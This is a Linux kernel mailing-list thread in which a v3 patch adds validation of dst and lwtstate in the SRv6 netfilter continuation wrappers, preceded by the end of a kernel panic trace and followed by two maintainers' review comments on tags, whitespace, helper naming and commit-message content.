[  413.744601][ T5020]  raw_sendmsg+0x1481/0x33c0
[  413.745822][ T5020]  ? tomoyo_check_acl+0x3a0/0x410
[  413.747117][ T5020]  ? __pfx_raw_sendmsg+0x10/0x10
[  413.748386][ T5020]  ? tomoyo_check_inet_address+0x43d/0x6b0
[  413.749740][ T5020]  ? tomoyo_check_inet_address+0xe4/0x6b0
[  413.751103][ T5020]  ? tomoyo_socket_sendmsg_permission+0x13b/0x3a0
[  413.752546][ T5020]  ? __pfx_raw_sendmsg+0x10/0x10
[  413.753772][ T5020]  ? __pfx_inet_sendmsg+0x10/0x10
[  413.755003][ T5020]  inet_sendmsg+0x121/0x150
[  413.756183][ T5020]  __sys_sendto+0x46f/0x510
[  413.757398][ T5020]  ? __pfx___sys_sendto+0x10/0x10
[  413.758667][ T5020]  ? exc_page_fault+0xbe/0x170
[  413.759966][ T5020]  __x64_sys_sendto+0xe0/0x1c0
[  413.761193][ T5020]  ? lockdep_hardirqs_on+0x7d/0x110
[  413.762508][ T5020]  do_syscall_64+0x128/0x7b0
[  413.763678][ T5020]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  413.765067][ T5020] RIP: 0033:0x7f2b4a40a046
[  413.766762][ T5020] Code: 0e 0d 00 f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b8 0f 1f 00 41 89 ca 64 8b 04 25 18 00 00 00 85 c0 75 11 b8 2c 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 72 c3 90 55 48 83 ec 30 44 89 4c 24 2c 4c 89
[  413.770366][ T5020] RSP: 002b:00007ffd118641a8 EFLAGS: 00000246 ORIG_RAX: 000000000000002c
[  413.772397][ T5020] RAX: ffffffffffffffda RBX: 00007ffd11865930 RCX: 00007f2b4a40a046
[  413.773823][ T5020] RDX: 0000000000000040 RSI: 000055d0a1373300 RDI: 0000000000000003
[  413.775217][ T5020] RBP: 000055d0a1373300 R08: 00007ffd11867bac R09: 0000000000000010
[  413.776618][ T5020] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000040
[  413.778021][ T5020] R13: 00007ffd118658f0 R14: 00007ffd118641b0 R15: 0000001d00000001
[  413.779501][ T5020]  </TASK>
[  413.780471][ T5020] Modules linked in:
[  413.782976][ T5020] ---[ end trace 0000000000000000 ]---
[  413.784581][ T5020] RIP: 0010:dst_cache_get+0x25/0x5d0
[  413.786189][ T5020] Code: 90 90 90 90 90 f3 0f 1e fa 41 56 41 55 41 54 55 48 89 fd 53 e8 ac cc 39 f8 48 89 ea 48 b8 00 00 00 00 00 fc ff df 48 c1 ea 03 <80> 3c 02 00 0f 85 b9 04 00 00 4c 8b 65 00 4d 85 e4 0f 84 a1 02 00
[  413.789339][ T5020] RSP: 0018:ffa00000019b7810 EFLAGS: 00000202
[  413.790719][ T5020] RAX: dffffc0000000000 RBX: ff11000030182a80 RCX: 0000000000000400
[  413.792152][ T5020] RDX: 0000000000000008 RSI: ffffffff89886004 RDI: 0000000000000040
[  413.793582][ T5020] RBP: 0000000000000040 R08: 0000000000000200 R09: 0000000000000001
[  413.795334][ T5020] R10: 0000000000000000 R11: 0000000000000001 R12: ff1100001cf9d8c0
[  413.796920][ T5020] R13: 0000000000000000 R14: ffffffff8a5c773c R15: ff1100001cf9d918
[  413.798424][ T5020] FS:  00007f2b4a18a000(0000) GS:ff110000d566e000(0000) knlGS:0000000000000000
[  413.800256][ T5020] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  413.801562][ T5020] CR2: 00007ffd11863680 CR3: 000000002faaf000 CR4: 00000000007516f0
[  413.803003][ T5020] PKRU: 55555554
[  413.804432][ T5020] Kernel panic - not syncing: Fatal exception in interrupt
[  413.807132][ T5020] Kernel Offset: disabled
[  413.808629][ T5020] Rebooting in 86400 seconds..

-----END SNAT+ESP/XFRM crash log-----

Best regards,
Zixuan Chai

Zixuan Chai (1):
seg6: validate state in netfilter continuations

 net/ipv6/seg6_iptunnel.c | 62 +++++++++++++++++++++++++++++++---------
 net/ipv6/seg6_local.c    | 55 +++++++++++++++++++++++++++++++++--
 2 files changed, 101 insertions(+), 16 deletions(-)
Signature · 1 line
2.34.1
author
#1 lore raw

PATCH v3 1/1 seg6: validate state in netfilter continuations

From: Zixuan Chai <[email protected]>

Netfilter hooks can replace or drop skb_dst() before an SRv6 continuation resumes. The continuation callbacks then assume that the current dst still contains the expected lwtstate, which can lead to invalid state access.

Validate the current dst and lwtstate in each NF_HOOK() okfn wrapper. Drop the skb when the state is missing or has the wrong type. Keep the direct core calls unchanged when nf_hooks_lwtunnel is off.

Fixes 7a3f5b0de364 ("netfilter: add netfilter hooks to SRv6 data plane")
Assisted-by LLM

---
Changes in v3:
- Move the five dst/lwtstate checks into NF_HOOK() okfn wrappers; preserve direct no-hook calls.
- Fix the stale orig_dst reference in the seg6_input_core comment.
- Add clean XFRM and End.DX4 results plus independent forwarding tests.
- Remove the private tracker Closes URL.
- v2 Link:

	https://lore.kernel.org/netdev/[email protected]/

Changes in v2:
- Add unlikely() to the new checks.
- Validate the current dst/lwtstate type in both seg6local and seg6_iptunnel continuations; drop invalid state.
- Do not walk through XFRM dsts or take an extra lwtstate reference.
- Retain the seg6_input_core() loop-detection comment.
- Document both reproducer setups and clean/patched KASAN results.
- v1 Link:

	https://lore.kernel.org/all/[email protected]/
 net/ipv6/seg6_iptunnel.c | 62 +++++++++++++++++++++++++++++++---------
 net/ipv6/seg6_local.c    | 55 +++++++++++++++++++++++++++++++++--
 2 files changed, 101 insertions(+), 16 deletions(-)
net/ipv6/seg6_iptunnel.c +49 -13
index 7cbe0685f8bb..19df8a772fdb 100644
@@ -18,6 +18,7 @@
 #include <net/ip6_fib.h>
 #include <net/route.h>
 #include <net/seg6.h>
+#include <net/dst_metadata.h>
 #include <linux/seg6.h>
 #include <linux/seg6_iptunnel.h>
 #include <net/addrconf.h>
@@ -60,6 +61,21 @@ static inline struct seg6_lwt *seg6_lwt_lwtunnel(struct lwtunnel_state *lwt)
 	return (struct seg6_lwt *)lwt->data;
 }
 
+static struct lwtunnel_state *seg6_lwt_state_from_skb(struct sk_buff *skb)
+{
+	struct dst_entry *dst;
+
+	if (unlikely(!skb_valid_dst(skb)))
+		return NULL;
+
+	dst = skb_dst(skb);
+	if (unlikely(!dst->lwtstate ||
+		     dst->lwtstate->type != LWTUNNEL_ENCAP_SEG6))
+		return NULL;
+
+	return dst->lwtstate;
+}
+
 static inline struct seg6_iptunnel_encap *
 seg6_encap_lwtunnel(struct lwtunnel_state *lwt)
 {
@@ -557,18 +573,15 @@ static int seg6_input_finish(struct net *net, struct sock *sk,
 static int seg6_input_core(struct net *net, struct sock *sk,
 			   struct sk_buff *skb)
 {
-	struct dst_entry *orig_dst = skb_dst(skb);
 	struct dst_entry *dst = NULL;
 	struct lwtunnel_state *lwtst;
 	struct seg6_lwt *slwt;
 	int err;
 
-	/* We cannot dereference "orig_dst" once ip6_route_input() or
-	 * skb_dst_drop() is called. However, in order to detect a dst loop, we
-	 * need the address of its lwtstate. So, save the address of lwtstate
-	 * now and use it later as a comparison.
+	/* Save the lwtstate address before replacing the dst to detect a
+	 * dst reference loop.
 	 */
-	lwtst = orig_dst->lwtstate;
+	lwtst = skb_dst(skb)->lwtstate;
 
 	slwt = seg6_lwt_lwtunnel(lwtst);
 
@@ -616,6 +629,17 @@ static int seg6_input_core(struct net *net, struct sock *sk,
 	return err;
 }
 
+static int seg6_input_core_nf(struct net *net, struct sock *sk,
+			      struct sk_buff *skb)
+{
+	if (unlikely(!seg6_lwt_state_from_skb(skb))) {
+		kfree_skb(skb);
+		return -EINVAL;
+	}
+
+	return seg6_input_core(net, sk, skb);
+}
+
 static int seg6_input_nf(struct sk_buff *skb)
 {
 	struct net_device *dev = skb_dst_dev(skb);
@@ -624,10 +648,10 @@ static int seg6_input_nf(struct sk_buff *skb)
 	switch (skb->protocol) {
 	case htons(ETH_P_IP):
 		return NF_HOOK(NFPROTO_IPV4, NF_INET_POST_ROUTING, net, NULL,
-			       skb, NULL, dev, seg6_input_core);
+				       skb, NULL, dev, seg6_input_core_nf);
 	case htons(ETH_P_IPV6):
 		return NF_HOOK(NFPROTO_IPV6, NF_INET_POST_ROUTING, net, NULL,
-			       skb, NULL, dev, seg6_input_core);
+				       skb, NULL, dev, seg6_input_core_nf);
 	}
 
 	return -EINVAL;
@@ -667,12 +691,13 @@ static struct dst_entry *seg6_output_dst_lookup(struct net *net,
 static int seg6_output_core(struct net *net, struct sock *sk,
 			    struct sk_buff *skb)
 {
-	struct dst_entry *orig_dst = skb_dst(skb);
 	struct dst_entry *dst = NULL;
+	struct lwtunnel_state *lwtst;
 	struct seg6_lwt *slwt;
 	int err;
 
-	slwt = seg6_lwt_lwtunnel(orig_dst->lwtstate);
+	lwtst = skb_dst(skb)->lwtstate;
+	slwt = seg6_lwt_lwtunnel(lwtst);
 
 	local_bh_disable();
 	dst = dst_cache_get(&slwt->cache_output);
@@ -695,7 +720,7 @@ static int seg6_output_core(struct net *net, struct sock *sk,
 		}
 
 		/* cache only if we don't create a dst reference loop */
-		if (orig_dst->lwtstate != dst->lwtstate) {
+		if (lwtst != dst->lwtstate) {
 			local_bh_disable();
 			dst_cache_set_ip6(&slwt->cache_output, dst, &fl6.saddr);
 			local_bh_enable();
@@ -720,6 +745,17 @@ static int seg6_output_core(struct net *net, struct sock *sk,
 	return err;
 }
 
+static int seg6_output_core_nf(struct net *net, struct sock *sk,
+			       struct sk_buff *skb)
+{
+	if (unlikely(!seg6_lwt_state_from_skb(skb))) {
+		kfree_skb(skb);
+		return -EINVAL;
+	}
+
+	return seg6_output_core(net, sk, skb);
+}
+
 static int seg6_output_nf(struct net *net, struct sock *sk, struct sk_buff *skb)
 {
 	struct net_device *dev = skb_dst_dev(skb);
@@ -727,10 +763,10 @@ static int seg6_output_nf(struct net *net, struct sock *sk, struct sk_buff *skb)
 	switch (skb->protocol) {
 	case htons(ETH_P_IP):
 		return NF_HOOK(NFPROTO_IPV4, NF_INET_POST_ROUTING, net, sk, skb,
-			       NULL, dev, seg6_output_core);
+				       NULL, dev, seg6_output_core_nf);
 	case htons(ETH_P_IPV6):
 		return NF_HOOK(NFPROTO_IPV6, NF_INET_POST_ROUTING, net, sk, skb,
-			       NULL, dev, seg6_output_core);
+				       NULL, dev, seg6_output_core_nf);
 	}
 
 	return -EINVAL;
net/ipv6/seg6_local.c +52 -3

103 lines not on this page · raw message

Signature · 1 line
2.34.1
maintainer
#2 lore raw
Quoted 10 lines · Ren Wei

From: Zixuan Chai <[email protected]>

Netfilter hooks can replace or drop skb_dst() before an SRv6 continuation resumes. The continuation callbacks then assume that the current dst still contains the expected lwtstate, which can lead to invalid state access.

Validate the current dst and lwtstate in each NF_HOOK() okfn wrapper. Drop the skb when the state is missing or has the wrong type. Keep the direct core calls unchanged when nf_hooks_lwtunnel is off.

Quoted 6 lines
Fixes 7a3f5b0de364 ("netfilter: add netfilter hooks to SRv6 data plane")
Assisted-by LLM

Minor nir: the above tag should not be added anymore.

net/ipv6/seg6_iptunnel.c static int seg6_input_nf(struct sk_buff *skb) · line 654

Quoted 10 lines
net/ipv6/seg6_iptunnel.c +2 -2
@@ -624,10 +648,10 @@ static int seg6_input_nf(struct sk_buff *skb)
  	switch (skb->protocol) {
  	case htons(ETH_P_IP):
  		return NF_HOOK(NFPROTO_IPV4, NF_INET_POST_ROUTING, net, NULL,
-			       skb, NULL, dev, seg6_input_core);
+				       skb, NULL, dev, seg6_input_core_nf);
  	case htons(ETH_P_IPV6):
  		return NF_HOOK(NFPROTO_IPV6, NF_INET_POST_ROUTING, net, NULL,
-			       skb, NULL, dev, seg6_input_core);
+				       skb, NULL, dev, seg6_input_core_nf);

Please do not include unneeded whitespaces-only changes. There is a similar chunk below.

Other than that the patch LGTM, but when resubmitting please do not include the unneeded cover letter.

Thanks,

Paolo

maintainer
#3 lore raw
In reply to Ren Wei
Quoted 8 lines · On Sat, 24 Oct 2026 15:23:04 +0800 Ren Wei <[email protected]> wrote:

Netfilter hooks can replace or drop skb_dst() before an SRv6 continuation resumes. The continuation callbacks then assume that the current dst still contains the expected lwtstate, which can lead to invalid state access.

Validate the current dst and lwtstate in each NF_HOOK() okfn wrapper. Drop the skb when the state is missing or has the wrong type. Keep the direct core calls unchanged when nf_hooks_lwtunnel is off.

Quoted 10 lines
Fixes 7a3f5b0de364 ("netfilter: add netfilter hooks to SRv6 data plane")
Assisted-by LLM

Hi,

Thanks for the v3.

On top of what Paolo wrote, it would be good if the commit message also said how the crash is triggered, what it causes, and how the fix was tested.

Quoted 10 lines

[snip]

net/ipv6/seg6_iptunnel.c +4 -0
@@ -60,6 +61,21 @@ static inline struct seg6_lwt *seg6_lwt_lwtunnel(struct lwtunnel_state *lwt)
 	return (struct seg6_lwt *)lwt->data;
 }
 
+static struct lwtunnel_state *seg6_lwt_state_from_skb(struct sk_buff *skb)
+{
+	struct dst_entry *dst;
+

net/ipv6/seg6_iptunnel.c static inline struct seg6_lwt *seg6_lwt_lwtunnel(struct lwtunnel_state *lwt) · line 77

Quoted 10 lines
net/ipv6/seg6_iptunnel.c +10 -0
+	if (unlikely(!skb_valid_dst(skb)))
+		return NULL;
+
+	dst = skb_dst(skb);
+	if (unlikely(!dst->lwtstate ||
+		     dst->lwtstate->type != LWTUNNEL_ENCAP_SEG6))
+		return NULL;
+
+	return dst->lwtstate;
+}

seg6_lwt_state_from_skb() and seg6_local_lwt_from_skb() return a pointer, but the callers only test it against NULL. IMHO they could return bool, with a name that says what they check, like skb_valid_dst() does. For example seg6_skb_has_lwtstate() and seg6_local_skb_has_lwtstate().

Quoted 13 lines

[snip]

net/ipv6/seg6_iptunnel.c +0 -2
@@ -557,18 +573,15 @@ static int seg6_input_finish(struct net *net, struct sock *sk,
 static int seg6_input_core(struct net *net, struct sock *sk,
 			   struct sk_buff *skb)
 {
-	struct dst_entry *orig_dst = skb_dst(skb);
 	struct dst_entry *dst = NULL;
 	struct lwtunnel_state *lwtst;
 	struct seg6_lwt *slwt;
 	int err;
 
-	/* We cannot dereference "orig_dst" once ip6_route_input() or

net/ipv6/seg6_iptunnel.c static int seg6_input_finish(struct net *net, struct sock *sk, · line 586

Quoted 10 lines
net/ipv6/seg6_iptunnel.c +3 -4
-	 * skb_dst_drop() is called. However, in order to detect a dst loop, we
-	 * need the address of its lwtstate. So, save the address of lwtstate
-	 * now and use it later as a comparison.
+	/* Save the lwtstate address before replacing the dst to detect a
+	 * dst reference loop.
 	 */
-	lwtst = orig_dst->lwtstate;
+	lwtst = skb_dst(skb)->lwtstate;
 
 	slwt = seg6_lwt_lwtunnel(lwtst);

With the check in seg6_input_core_nf(), seg6_input_core() does not need to change, so it can keep orig_dst and the original comment.

Quoted 6 lines

[snip]

net/ipv6/seg6_iptunnel.c +0 -0
@@ -667,12 +691,13 @@ static struct dst_entry *seg6_output_dst_lookup(struct net *net,
 static int seg6_output_core(struct net *net, struct sock *sk,
 			    struct sk_buff *skb)
 {

net/ipv6/seg6_iptunnel.c static struct dst_entry *seg6_output_dst_lookup(struct net *net, · line 701

Quoted 10 lines
net/ipv6/seg6_iptunnel.c +3 -2
-	struct dst_entry *orig_dst = skb_dst(skb);
 	struct dst_entry *dst = NULL;
+	struct lwtunnel_state *lwtst;
 	struct seg6_lwt *slwt;
 	int err;
 
-	slwt = seg6_lwt_lwtunnel(orig_dst->lwtstate);
+	lwtst = skb_dst(skb)->lwtstate;
+	slwt = seg6_lwt_lwtunnel(lwtst);
 

Same as seg6_input_core(): seg6_output_core() does not need to change either.

Quoted 1 line

[snip]

Ciao,
Andrea